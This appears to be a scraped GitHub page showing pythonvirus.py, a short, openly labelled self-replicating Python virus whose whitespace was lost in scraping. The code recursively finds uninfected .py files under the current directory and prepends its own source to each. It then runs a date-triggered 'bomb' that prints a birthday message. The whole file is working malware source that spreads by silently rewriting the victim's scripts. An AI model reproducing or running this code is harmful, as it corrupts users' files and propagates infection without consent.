forked from cranklin/Python-Virus
- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpythonvirus.py
More file actions
Latest commit
39 lines (39 loc) · 1.16 KB
/
Copy pathpythonvirus.py
File metadata and controls
39 lines (39 loc) · 1.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python
importos
importdatetime
SIGNATURE="CRANKLIN PYTHON VIRUS"
defsearch(path):
filestoinfect= []
filelist=os.listdir(path)
forfnameinfilelist:
ifos.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
eliffname[-3:] ==".py":
infected=False
forlineinopen(path+"/"+fname):
ifSIGNATUREinline:
infected=True
break
ifinfected==False:
filestoinfect.append(path+"/"+fname)
returnfilestoinfect
definfect(filestoinfect):
virus=open(os.path.abspath(__file__))
virusstring=""
fori,lineinenumerate(virus):
ifi>=0andi<39:
virusstring+=line
virus.close
forfnameinfilestoinfect:
f=open(fname)
temp=f.read()
f.close()
f=open(fname,"w")
f.write(virusstring+temp)
f.close()
defbomb():
ifdatetime.datetime.now().month==1anddatetime.datetime.now().day==25:
print"HAPPY BIRTHDAY CRANKLIN!"
filestoinfect=search(os.path.abspath(""))
infect(filestoinfect)
bomb()